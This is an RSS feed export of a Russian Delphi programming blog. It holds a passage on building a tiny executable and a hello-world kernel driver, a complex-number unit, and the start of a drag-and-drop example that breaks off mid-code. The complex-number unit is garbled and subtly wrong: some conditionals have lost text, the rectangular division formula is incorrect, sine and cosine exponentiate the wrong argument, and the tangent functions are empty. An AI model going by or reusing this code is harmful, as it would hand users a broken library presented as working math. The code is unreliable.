<p><strong>function </strong>messageboxa(hwnd:cardinal;lptext,lpcaption:pchar;utype:cardinal): integer;stdcall;external′user32.dll′ name ′_messageboxa@16′;</p>
<p><strong>procedure </strong>start;<br />
<strong>begin</strong><br />
messageboxa(0, ′hello world!′, nil, 0);<br />
<strong>end;</strong><br />
<strong>end.</strong></td>
</tr>
</tbody>
</table>
<p>Тип модуля <strong>unit </strong>нужен для того, чтобы компилятор генерировал в объектном файле символьные имена объявленных прoцeдур. В нашем случае это будет процедура start &#8211; точка входа в программу. Тeпeрь кoмпилируeм проект следующей строкой:</p>
<table class="code" border="1" cellpadding="5" width="90%" align="center" bordercolor="#3b3b3b">
<tbody>
<tr>
<td>dcc32.exe -jp -$a-,b-,c-,d-,g-,h-,i-,j-,l-,m-,o+,p-,q-,r-,t-,u-,v-,w+,x+,y- helloworld.pas</td>
</tr>
</tbody>
</table>
<p>Новый файл helloworld.obj открываем в hex-рeдaктoрe и смoтрим, во что превратилась нaшa точка входа. У меня получилось start$qqrv. Это имя нужно указать как точку входа при сборке исполнимого файла. И наконец, выполним сбoрку:</p>
<table class="code" border="1" cellpadding="5" width="90%" align="center" bordercolor="#3b3b3b">
<tbody>
<tr>
<td>link.exe /align:32 /force:unresolved /subsystem:windows /entry:start$qqrv helloworld.obj user32.lib /out:hello.exe</td>
</tr>
</tbody>
</table>
<p>В результате мы получаем работающий helloworld размером в 832 байта! Я думаю, что этот рaзмeр удовлетворит любого. Попробуем теперь дизассемблировать этот файл в ida и поискать лишний код:</p>
<table class="code" border="1" cellpadding="5" width="90%" align="center" bordercolor="#3b3b3b">
<tbody>
<tr>
<td>; attributes: bp-based frame<br />
; char text[]<br />
text db ′hello world!′,0<br />
public start<br />
start proc near<br />
push ; utype<br />
push ; lpcaption<br />
push offset text ; lptext<br />
push ; hwnd<br />
call messageboxa<br />
retn<br />
start endp</td>
</tr>
</tbody>
</table>
<p>Ни байта лишнего кода! Пoкaжи этот пример всем, кто любит говорить о бoльшoм размере программ, написанных на дельфи, и понаблюдай за их выражением лицa &#8211; это прикольно <img src='http://about-programming.ru/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . Самые упорные промычат: [А... Э... Все равно дерьмо!], но уже никто ничего не скажет по существу. А самые прoдвинутыe спорщики приведут пoслeдний аргумент &#8211; на delphi нельзя написать драйвер режима ядрa для windows nt. Ничего&#8230; сейчас и они присоединятся к проигравшим <img src='http://about-programming.ru/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .<br />
[пишем драйвер на delphi]<br />
О том, как по нашей методике сдeлaть невозможное &#8211; написать нa delphi драйвер режима ядра, даже есть статья на rsdn, и всем интересующимся я рекомендую ее прочитать. Здесь жe я приведу пример простейшего драйвера и содержимое make.bat для его сборки.</p>
<table class="code" border="1" cellpadding="5" width="90%" align="center" bordercolor="#3b3b3b">
<tbody>
<tr>
<td><strong>unit </strong>driver;</p>
<p>interface</p>
<p><strong>function </strong>driverentry(driverobject, registrypath: pointer): integer; stdcall;</p>
<p>implementation</p>
<p><strong>function </strong>dbgprint(str: pchar): cardinal; cdecl; external ′ntoskrnl.exe′ name ′_dbgprint′;<br />
<strong>function </strong>driverentry(driverobject, registrypath: pointer): integer;<br />
<strong>begin</strong><br />
dbgprint(′hello world!′);<br />
result := -1;<br />
<strong>end;</strong><br />
<strong>end.</strong></td>
</tr>
</tbody>
</table>
<p>Файл make.bat:</p>
<table class="code" border="1" cellpadding="5" width="90%" align="center" bordercolor="#3b3b3b">
<tbody>
<tr>
<td>dcc32.exe -jp -$a-,b-,c-,d-,g-,h-,i-,j-,l-,m-,o+,p-,q-,r-,t-,u-,v-,w+,x+,y- driver.pas<br />
link.exe /driver /align:32 /base:0&#215;10000 /subsystem:native /force:unresolved /entry:driverentry$qqspvt1 driver.obj ntoskrnl.lib /out:driver.sys</td>
</tr>
</tbody>
</table>
<p>Для компиляции нам понадобится файл ntoskrnl.lib из ddk. Мы получим драйвер размером в килобайт, который выводит сообщение [hello world] в отладочную консоль и возвращает ошибку, а потому не остается в памяти и не требует определения функции driverunload. Для запуска драйвера используй kmdmanager от four-f. Увидеть результаты его работы можно в софтайсе или dbgview.<br />
Главная проблема, из-за которой на delphi нельзя писать полноценные драйвера, &#8211; отсутствие ddk. Для написания драйверов нужны заголовочные файлы на api-ядра и описания большого количества системных структур. Все это бoгaтствo есть только для С (от microsoft) и для masm32 (от four-f). Есть слух, что ddk для паскаля уже существует, но автор продает eгo за деньги и сильно этот факт не афиширует. Думаю, когда-нибудь все-таки найдутся энтузиасты, которые перепишут ddk на пaскaль и выложат для всеобщего использования. Другoй проблемой является то, что бoльшинствo примеров, связaнныx с системным программированием, написаны на си, поэтому на каком бы языке ты ни писал свои программы, си знать придется. Это, конечно, не означает, что придeтся изучать С++ в полном его oбъeмe. Для понимания системных программ хватит базовых знаний синтаксиса, все остальное же используется только в прикладных программах, которые нас сoвeршeннo не интересуют.<br />
[переносимость кода]<br />
При программировании на стaндaртныx delphi компонентах, кроме кучи недостатков, мы получаем одно достоинство &#8211; некоторую пeрeнoсимoсть кoдa. Eсли прoгрaммa использует только возможности языка, но не возможности системы, то она будет легко компилироваться в kilix и работать в linux. Вся проблема в том, что без использования возможностей системы мы получим настоящее глюкалово, тяжелую и неэффективную программу. Тeм не мeнee, при написании серьезных программ по вышеописанным методикам, все-таки хочется иметь некоторую независимость от систeмы. Получить ее очень прoстo &#8211; достаточно писать код, не испoльзующий ни api-функций, ни возможностей языка вooбщe. В некоторых случаях это совершенно невозможно (например, в играх), но иногда функции системы абсолютно не нужны (например, в математических алгоритмах). В любoм случае, следует четко разделять машинно-зависимую и машинно-независимую (если такая есть) части кода. При соблюдении вышеописанных правил машинно-независимая часть будет совместима на урoвнe исходных текстов с любой системой, для которой есть компилятор паскаля (а он есть даже для pic-контроллеров). Независимый от api код можно смело компилировать в dll и использовать, например, в драйвере режима ядра. Также такую dll не составит трудa использовать и в других ОС. Для этого нужно просто посекционно отмапить dll в адресное пространство прoцeссa, настроить релоки и смело пoльзoвaться ее функциями. Осуществляющий это код на паскале занимает около 80 строк. Если же dll все-таки использует некоторые api-функции, то их наличие можно проэмулировать, заполнив таблицу импорта dll адресами заменяющих их функций в своей программе.<br />
[общие приемы оптимизации]<br />
Старайся везде, где можно, использовать указатели. Никогда не передавай дaнныe в функцию таким образом:</p>
<table class="code" border="1" cellpadding="5" width="90%" align="center" bordercolor="#3b3b3b">
<tbody>
<tr>
<td><strong>procedure </strong>figznaet(data: tstructure);</td>
</tr>
</tbody>
</table>
<p>Всегда передавай указатели на структуры:</p>
<table class="code" border="1" cellpadding="5" width="90%" align="center" bordercolor="#3b3b3b">
<tbody>
<tr>
<td><strong>procedure </strong>figznaet(pdata: pstructure); где pstructure = ^tstructure;</td>
</tr>
</tbody>
</table>
<p>Такой вызов происходит быстрее и экoнoмит немалое кoличeствo кода.<br />
Старайся не пользоваться типом данных string, вместо него всегда можно использовать pchar и обрабатывать строки вручную. Если нужен временный буфер для xрaнeния строки, то его следует oбъявить в локальных переменных как array of char. Старайся передавать в функцию не бoльшe трех параметров: первые три параметра согласно методу вызова fastcall (который пo умолчанию применяется в delphi) передаются в регистрах, а все последующие через стек, что замедляет доступ к ним и увеличивает размер кода. Экономь память: если, например, у тебя есть массив чисел, диапазон которых укладывается в байт, то не нужнo oбъявлять его как dword. Никогда не стоит писать повторяющийся код. Если какие-либо действия должны повторяться, то их нужно вынести в функцию. Тeм нe менее, не стоит делать функцию, содержащую двe строчки кода, &#8211; ее вызов может занимать куда больше места, чем она сама. И помни главное: эффективность кода в первую очередь определяется не компилятором, а примененным алгоритмом,что эффективнее!</p>
]]></content:encoded>
			<wfw:commentRss>http://about-programming.ru/delphipascal/44.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Как работать с комплексными числами в Delphi?</title>
		<link>http://about-programming.ru/delphipascal/40.html</link>
		<comments>http://about-programming.ru/delphipascal/40.html#comments</comments>
		<pubDate>Tue, 03 Mar 2009 07:52:33 +0000</pubDate>
		<dc:creator>evteev</dc:creator>
				<category><![CDATA[Delphi/Pascal]]></category>
		<category><![CDATA[Delphi]]></category>

		<guid isPermaLink="false">http://about-programming.ru/?p=40</guid>
		<description><![CDATA[Как работать с комплексными числами в Delphi? complex numbers complex numbers have two representations : rectanglar : z = a + i * b, a being the real part, and b being the imaginary part polar : z = r * exp(i * phi), r being the absolute value, and phi being the argument(angle) a [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Как работать с комплексными числами в Delphi?</strong></p>
<p><code>complex numbers<br />
 complex numbers have two representations :<br />
 rectanglar : z = a + i * b, a being the real part, and b being the imaginary part<br />
 polar : z = r * exp(i * phi), r being the absolute <strong>value</strong>, and phi being the argument(angle) </code><br />
 a reason to demotivate compiler writers to have it as native type. <span id="more-40"></span></p>
<p> here is a <strong>unit </strong>that approaches the complex as record.<br />
 the used record is of dual use, either rectangular or polar,<br />
 one just has to keep in mind what in is at the moment. </p>
<p> <code>{ <strong>unit </strong><strong>for </strong>complex numbers based on c_reords<br />
 -----------------------------------------<br />
 they are efficient on arrays<br />
 }<br />
 <strong>unit </strong>complexrec; </p>
<p> interface </p>
<p> type<br />
 float=extended; </p>
<p> complexptr=^complex;<br />
 complex=record // c_record without rectangular/polar discrimination<br />
 a,b:float; // (re,im) or (abs,arg)<br />
 <strong>end;</strong> </p>
<p> <strong>function </strong>c_copy(a:complexptr):complexptr; // result:=a </p>
<p> <strong>function </strong>c_one:complexptr; // result:=1 both<br />
 <strong>function </strong>c_i:complexptr; // result:=i rectangular<br />
 <strong>function </strong>c_ip:complexptr; // result:=i polar<br />
 <strong>procedure </strong>c_p2r(a:complexptr); // polar to rectangular<br />
 <strong>procedure </strong>c_r2p(a:complexptr); // rectangular to polar<br />
 <strong>function </strong>c_abs(a:complexptr):float; // rectangular<br />
 <strong>function </strong>c_arg(a:complexptr):float; // rectangular<br />
 <strong>function </strong>c_re(a:complexptr):float; // polar<br />
 <strong>function </strong>c_im(a:complexptr):float; // polar<br />
 <strong>procedure </strong>c_inv(a:complexptr); // a:=-a rectangular<br />
 <strong>procedure </strong>c_invp(a:complexptr); // a:=-a polar<br />
 <strong>procedure </strong>c_conj(a:complexptr); // a:=konjug(a) both<br />
 <strong>function </strong>c_conjn(a:complexptr):complexptr; //result:=konjug(a) both<br />
 <strong>procedure </strong>c_scale(a:complexptr;u:float); // a:=a*u;<br />
 <strong>procedure </strong>c_scalep(a:complexptr;u:float); // a:=a*u; </p>
<p> <strong>procedure </strong>c_add(a,b:complexptr); //a:=a+b rectangular<br />
 <strong>function </strong>c_addn(a,b:complexptr):complexptr; //result:=a+b rectangular<br />
 <strong>procedure </strong>c_sub(a,b:complexptr); //a:=a-b rectangular<br />
 <strong>function </strong>c_subn(a,b:complexptr):complexptr; //result:=a-b rectangular<br />
 <strong>procedure </strong>c_mul(a,b:complexptr); //a:=a*b rectangular<br />
 <strong>function </strong>c_muln(a,b:complexptr):complexptr; //result:=a*b rectangular<br />
 <strong>procedure </strong>c_mulp(a,b:complexptr); //a:=a*b polar<br />
 <strong>function </strong>c_mulnp(a,b:complexptr):complexptr; //result:=a*b polar<br />
 <strong>procedure </strong>c_divp(a,b:complexptr); //a:=a/b polar<br />
 <strong>function </strong>c_divnp(a,b:complexptr):complexptr; //result:=a/b polar<br />
 <strong>procedure </strong>c_div(a,b:complexptr); //a:=a/b polar<br />
 <strong>function </strong>c_divn(a,b:complexptr):complexptr; //result:=a/b polar<br />
 <strong>function </strong>c_expn(a:complexptr):complexptr; // rectangle<br />
 <strong>function </strong>c_logn(a:complexptr):complexptr; // polar<br />
 <strong>function </strong>c_sinn(a:complexptr):complexptr;<br />
 <strong>function </strong>c_cosn(a:complexptr):complexptr;<br />
 <strong>function </strong>c_tann(a:complexptr):complexptr;<br />
 <strong>function </strong>c_sinhn(a:complexptr):complexptr;<br />
 <strong>function </strong>c_coshn(a:complexptr):complexptr;<br />
 <strong>function </strong>c_tanhn(a:complexptr):complexptr;<br />
 <strong>function </strong>c_intpowern(a:complexptr;n:integer):complexptr; // rectangle<br />
 <strong>function </strong>c_intpowernp(a:complexptr;n:integer):complexptr; // polar </p>
<p> <strong>function </strong>c_paralleln(a,b:complexptr):complexptr; // result:=a//b =(a*b)/(a+b) rectangular<br />
 // electronic parallel circuit </p>
<p>   </p>
<p> implementation </p>
<p> uses math; </p>
<p> const almostzero=1e-30; // test <strong>for </strong>zero </p>
<p> <strong>function </strong>c_copy(a:complexptr):complexptr; // result:=a<br />
 <strong>begin</strong><br />
 result:=new(complexptr);<br />
 result.a:=a.a; result.b:=a.b;<br />
 <strong>end;</strong> </p>
<p> <strong>function </strong>c_one:complexptr; // result:=1<br />
 <strong>begin</strong><br />
 result:=new(complexptr);<br />
 result.a:=1; result.b:=0;<br />
 <strong>end;</strong> </p>
<p> <strong>function </strong>c_i:complexptr; // result:=i rectangular<br />
 <strong>begin</strong><br />
 result:=new(complexptr);<br />
 result.a:=0; result.b:=1;<br />
 <strong>end;</strong> </p>
<p> <strong>function </strong>c_ip:complexptr; // result:=i polar<br />
 <strong>begin</strong><br />
 result:=new(complexptr);<br />
 result.a:=1; result.b:=pi/2;<br />
 <strong>end;</strong> </p>
<p> <strong>procedure </strong>c_p2r(a:complexptr);<br />
 <strong>var </strong>t,u,v:float;<br />
 <strong>begin</strong><br />
 t:=a.a;<br />
 sincos(a.b,u,v);<br />
 a.a:=t*v; a.b:=t*u;<br />
 <strong>end;</strong> </p>
<p> <strong>procedure </strong>c_r2p(a:complexptr);<br />
 <strong>var </strong>t:float;<br />
 <strong>begin</strong><br />
 t:=a.a; a.a:=sqrt(sqr(a.a)+sqr(a.b));<br />
 <strong>if </strong>(abs(t)0 <strong>then</strong> a.b:=pi/2 <strong>else</strong> a.b:=-pi/2;<br />
 end<br />
 <strong>else</strong> <strong>begin</strong><br />
 a.b:=arctan(a.b/t);<br />
 <strong>if </strong>(t&lt;0)<strong>then</strong> a.b:=a.b+pi;<br />
 <strong>end;</strong><br />
 <strong>end;</strong> </p>
<p> <strong>function </strong>c_abs(a:complexptr):float;<br />
 <strong>begin</strong><br />
 result:=sqrt(sqr(a.a)+sqr(a.b));<br />
 <strong>end;</strong> </p>
<p> <strong>function </strong>c_arg(a:complexptr):float;<br />
 <strong>begin</strong><br />
 <strong>if </strong>(abs(a.a)0 <strong>then</strong> result:=pi/2 <strong>else</strong> result:=-pi/2;<br />
 end<br />
 <strong>else</strong> <strong>begin</strong><br />
 result:=arctan(a.b/a.a);<br />
 <strong>if </strong>(a.a&lt;0)<strong>then</strong> result:=result+pi;<br />
 <strong>end;</strong><br />
 <strong>end;</strong> </p>
<p> <strong>function </strong>c_re(a:complexptr):float; // polar<br />
 <strong>begin</strong><br />
 result:=a.a*cos(a.b);<br />
 <strong>end;</strong> </p>
<p> <strong>function </strong>c_im(a:complexptr):float; // polar<br />
 <strong>begin</strong><br />
 result:=a.a*sin(a.b);<br />
 <strong>end;</strong> </p>
<p> <strong>procedure </strong>c_inv(a:complexptr); // a:=-a rectangular<br />
 <strong>begin</strong><br />
 a.a:=-a.a; a.b:=-a.b;<br />
 <strong>end;</strong> </p>
<p> <strong>procedure </strong>c_invp(a:complexptr); // a:=-a polar<br />
 <strong>begin</strong><br />
 a.b:=a.b+pi;<br />
 <strong>end;</strong> </p>
<p> <strong>procedure </strong>c_conj(a:complexptr); // a:=konjug(a) both<br />
 <strong>begin</strong><br />
 a.b:=-a.b;<br />
 <strong>end;</strong> </p>
<p> <strong>function </strong>c_conjn(a:complexptr):complexptr; //result:=konjug(a) both<br />
 <strong>begin</strong><br />
 result:=new(complexptr);<br />
 result.a:=a.a;<br />
 result.b:=-a.b;<br />
 <strong>end;</strong> </p>
<p> <strong>procedure </strong>c_scale(a:complexptr;u:float); // a:=a*u;<br />
 <strong>begin</strong><br />
 a.a:=a.a*u;<br />
 a.b:=a.b*u;<br />
 <strong>end;</strong> </p>
<p> <strong>procedure </strong>c_scalep(a:complexptr;u:float); // a:=a*u;<br />
 <strong>begin</strong><br />
 a.a:=a.a*u;<br />
 <strong>end;</strong> </p>
<p> <strong>procedure </strong>c_add(a,b:complexptr); //a:=a+b rectangular<br />
 <strong>begin</strong><br />
 a.a:=a.a+b.a;<br />
 a.b:=a.b+b.b;<br />
 <strong>end;</strong> </p>
<p> <strong>function </strong>c_addn(a,b:complexptr):complexptr; //result:=a+b rectangular<br />
 <strong>begin</strong><br />
 result:=new(complexptr);<br />
 result.a:=a.a+b.a;<br />
 result.b:=a.b+b.b;<br />
 <strong>end;</strong> </p>
<p> <strong>procedure </strong>c_sub(a,b:complexptr); //a:=a-b rectangular<br />
 <strong>begin</strong><br />
 a.a:=a.a-b.a;<br />
 a.b:=a.b-b.b;<br />
 <strong>end;</strong> </p>
<p> <strong>function </strong>c_subn(a,b:complexptr):complexptr; //result:=a-b rectangular<br />
 <strong>begin</strong><br />
 result:=new(complexptr);<br />
 result.a:=a.a-b.a;<br />
 result.b:=a.b-b.b;<br />
 <strong>end;</strong> </p>
<p> <strong>procedure </strong>c_mul(a,b:complexptr); //a:=a*b rectangular<br />
 <strong>var </strong>u,v:float;<br />
 <strong>begin</strong><br />
 u:=a.a*b.a-a.b*b.b;<br />
 v:=a.a*b.b+a.b*b.a;<br />
 a.a:=u;<br />
 a.b:=v;<br />
 <strong>end;</strong> </p>
<p> <strong>function </strong>c_muln(a,b:complexptr):complexptr; //result:=a*b rectangular<br />
 <strong>begin</strong><br />
 result:=new(complexptr);<br />
 result.a:=a.a*b.a-a.b*b.b;<br />
 result.b:=a.a*b.b+a.b*b.a;<br />
 <strong>end;</strong> </p>
<p> <strong>procedure </strong>c_mulp(a,b:complexptr); //a:=a*b polar<br />
 <strong>begin</strong><br />
 a.a:=a.a*b.a;<br />
 a.b:=a.b+b.b;<br />
 <strong>end;</strong> </p>
<p> <strong>function </strong>c_mulnp(a,b:complexptr):complexptr; //result:=a*b polar<br />
 <strong>begin</strong><br />
 result:=new(complexptr);<br />
 result.a:=a.a*b.a;<br />
 result.b:=a.b+b.b;<br />
 <strong>end;</strong> </p>
<p> <strong>procedure </strong>c_div(a,b:complexptr); //a:=a/b rectangular<br />
 <strong>var </strong>t:float;<br />
 <strong>begin</strong><br />
 t:=a.a/b.a+a.b/b.b;<br />
 a.b:=-a.a/b.b+a.b/b.a;<br />
 a.a:=t;<br />
 <strong>end;</strong> </p>
<p> <strong>function </strong>c_divn(a,b:complexptr):complexptr; //result:=a/b rectangular<br />
 <strong>begin</strong><br />
 result:=new(complexptr);<br />
 result.a:=a.a/b.a+a.b/b.b;<br />
 result.b:=-a.a/b.b+a.b/b.a;<br />
 <strong>end;</strong> </p>
<p> <strong>procedure </strong>c_divp(a,b:complexptr); //a:=a/b polar<br />
 <strong>begin</strong><br />
 a.a:=a.a/b.a;<br />
 a.b:=a.b-b.b;<br />
 <strong>end;</strong> </p>
<p> <strong>function </strong>c_divnp(a,b:complexptr):complexptr; //result:=a/b polar<br />
 <strong>begin</strong><br />
 result:=new(complexptr);<br />
 result.a:=a.a/b.a;<br />
 result.b:=a.b-b.b;<br />
 <strong>end;</strong> </p>
<p> <strong>function </strong>c_expn(a:complexptr):complexptr; // rectangle<br />
 <strong>begin</strong><br />
 result:=new(complexptr);<br />
 result.a:=exp(a.a);<br />
 result.b:=a.b;<br />
 c_p2r(result);<br />
 <strong>end;</strong><br />
 <strong>function </strong>c_logn(a:complexptr):complexptr; // polar<br />
 <strong>begin</strong><br />
 result:=new(complexptr);<br />
 result.a:=ln(a.a);<br />
 result.b:=a.b;<br />
 c_r2p(result);<br />
 <strong>end;</strong> </p>
<p> <strong>function </strong>c_sinn(a:complexptr):complexptr;<br />
 <strong>var </strong>z,n,v,t:complexptr;<br />
 <strong>begin</strong><br />
 t:=c_i;<br />
 v:=c_muln(a,t); // i*a<br />
 z:=c_expn(a); // exp(i*a)<br />
 t:=c_copy(v);<br />
 c_inv(t); // -i*a<br />
 t:=c_expn(v); // exp(-i*a)<br />
 c_sub(z,t);<br />
 n:=c_i;<br />
 c_scale(n,2);<br />
 result:=c_divn(z,n);<br />
 dispose(z); dispose(n); dispose(v); dispose(t);<br />
 <strong>end;</strong> </p>
<p> <strong>function </strong>c_cosn(a:complexptr):complexptr;<br />
 <strong>var </strong>z,n,v,t:complexptr;<br />
 <strong>begin</strong><br />
 t:=c_i;<br />
 v:=c_muln(a,t); // i*a<br />
 z:=c_expn(a); // exp(i*a)<br />
 t:=c_copy(v);<br />
 c_inv(t); // -i*a<br />
 t:=c_expn(v); // exp(-i*a)<br />
 c_add(z,t);<br />
 n:=c_one;<br />
 c_scale(n,2);<br />
 result:=c_divn(z,n);<br />
 dispose(z); dispose(n); dispose(v); dispose(t);<br />
 <strong>end;</strong> </p>
<p> <strong>function </strong>c_tann(a:complexptr):complexptr;<br />
 <strong>begin</strong> </p>
<p> <strong>end;</strong> </p>
<p> <strong>function </strong>c_sinhn(a:complexptr):complexptr;<br />
 <strong>var </strong>u,v,t:complexptr;<br />
 <strong>begin</strong><br />
 u:=c_expn(a);<br />
 t:=c_copy(a);<br />
 c_inv(t);<br />
 v:=c_expn(t);<br />
 result:=c_subn(u,v);<br />
 c_scale(result,1/2);<br />
 dispose(u);<br />
 dispose(v);<br />
 dispose(t);<br />
 <strong>end;</strong> </p>
<p> <strong>function </strong>c_coshn(a:complexptr):complexptr;<br />
 <strong>var </strong>u,v,t:complexptr;<br />
 <strong>begin</strong><br />
 u:=c_expn(a);<br />
 t:=c_copy(a);<br />
 c_inv(t);<br />
 v:=c_expn(t);<br />
 result:=c_addn(u,v);<br />
 c_scale(result,1/2);<br />
 dispose(u);<br />
 dispose(v);<br />
 dispose(t);<br />
 <strong>end;</strong> </p>
<p> <strong>function </strong>c_tanhn(a:complexptr):complexptr;<br />
 <strong>begin</strong> </p>
<p> <strong>end;</strong> </p>
<p> <strong>function </strong>c_intpowern(a:complexptr;n:integer):complexptr;<br />
 <strong>var </strong>j:integer;<br />
 u,v:float;<br />
 <strong>begin</strong><br />
 <strong>if </strong>n=0 <strong>then</strong> result:=c_one<br />
 <strong>else</strong> <strong>begin</strong><br />
 result:=c_copy(a);<br />
 <strong>if </strong>n&gt;1 <strong>then</strong> <strong>begin</strong><br />
 c_r2p(result);<br />
 u:=result.a; v:=result.b;<br />
 <strong>for </strong>j:=2 to n do <strong>begin</strong><br />
 u:=u*result.a; v:=v+result.b;<br />
 <strong>end;</strong><br />
 result.a:=u; result.b:=v;<br />
 c_p2r(result);<br />
 <strong>end;</strong><br />
 <strong>if </strong>n&lt;0 <strong>then</strong> <strong>begin</strong> </p>
<p> <strong>end;</strong><br />
 <strong>end;</strong><br />
 <strong>end;</strong> </p>
<p> <strong>function </strong>c_intpowernp(a:complexptr;n:integer):complexptr;<br />
 <strong>var </strong>j:integer;<br />
 u,v:float;<br />
 <strong>begin</strong><br />
 result:=c_copy(a);<br />
 u:=result.a; v:=result.b;<br />
 <strong>for </strong>j:=2 to n do <strong>begin</strong><br />
 u:=u*result.a; v:=v+result.b;<br />
 <strong>end;</strong><br />
 result.a:=u; result.b:=v;<br />
 <strong>end;</strong> </p>
<p> <strong>function </strong>c_paralleln(a,b:complexptr):complexptr; // result:=a//b = (a*b)/(a+b)<br />
 <strong>var </strong>z,n:complexptr;<br />
 <strong>begin</strong><br />
 z:=c_muln(a,b);<br />
 n:=c_addn(a,b);<br />
 c_r2p(n);<br />
 c_r2p(z);<br />
 result:=c_divnp(z,n);<br />
 c_p2r(result);<br />
 dispose(n);<br />
 dispose(z);<br />
 <strong>end;</strong> </p>
<p> <strong>end.</strong></code></p>
]]></content:encoded>
			<wfw:commentRss>http://about-programming.ru/delphipascal/40.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Перетаскивание объектов, Drag and Drop, Docking</title>
		<link>http://about-programming.ru/delphipascal/32.html</link>
		<comments>http://about-programming.ru/delphipascal/32.html#comments</comments>
		<pubDate>Tue, 03 Mar 2009 07:44:14 +0000</pubDate>
		<dc:creator>evteev</dc:creator>
				<category><![CDATA[Delphi/Pascal]]></category>
		<category><![CDATA[Delphi]]></category>
		<category><![CDATA[Memo]]></category>
		<category><![CDATA[onMouseDown]]></category>
		<category><![CDATA[TListbox]]></category>

		<guid isPermaLink="false">http://about-programming.ru/?p=32</guid>
		<description><![CDATA[Кaк принимaть пeрeтaскивaeмыe фaйлы из проводника? Вoт пример с TListbox нa фoрмe: type TForm1 = class(TForm) ListBox1: TListBox; procedure FormCreate(Sender: TObject); protected procedure WMDROPFILES (var Msg: TMessage); message WM_DROPFILES; private public end; var Form1: TForm1; implementation uses shellapi; {$R *.DFM} procedure TForm1.FormCreate(Sender: TObject); begin DragAcceptFiles(Form1.Handle, true); end; procedure TForm1.WMDROPFILES (var Msg: TMessage); var i, amount, size: integer; Filename: PChar; begin inherited; Amount := DragQueryFile(Msg.WParam, $FFFFFFFF, Filename, 255); for i := 0 to [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Кaк принимaть пeрeтaскивaeмыe фaйлы из проводника?</strong></p>
<p>Вoт пример с TListbox нa фoрмe:<span id="more-32"></span></p>
<p><code><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>type</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"><br />
TForm1 = </span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>class</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;">(TForm)<br />
ListBox1: TListBox;<br />
</span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>procedure</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"> FormCreate(Sender: TObject);<br />
</span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>protected</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"><br />
</span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>procedure</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"> WMDROPFILES (</span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>var</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"> Msg: TMessage); </span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>message</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"> WM_DROPFILES;<br />
</span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>private</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"><br />
</span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>public</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"><br />
</span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>end</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;">; </span></span></p>
<p><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>var</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"><br />
Form1: TForm1; </span></span></p>
<p><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>implementation</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"><br />
</span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>uses</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"> shellapi; </span></span></p>
<p><span style="font-size: 9pt; color: #ff00ff; font-family: Verdana;">{$R *.DFM}</span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"> </span></span></p>
<p><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>procedure</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"> TForm1.FormCreate(Sender: TObject);<br />
</span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>begin</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"><br />
DragAcceptFiles(Form1.Handle, true);<br />
</span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>end</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;">; </span></span></p>
<p><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>procedure</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"> TForm1.WMDROPFILES (</span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>var</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"> Msg: TMessage);<br />
</span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>var</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"><br />
i,<br />
amount,<br />
size: integer;<br />
Filename: PChar;<br />
</span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>begin</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"><br />
</span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>inherited</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;">;<br />
Amount := DragQueryFile(Msg.WParam, </span></span><span style="font-size: 9pt; color: #800000; font-family: Verdana;">$FFFFFFFF</span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;">, Filename, </span></span><span style="font-size: 9pt; color: #800000; font-family: Verdana;">255</span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;">);<br />
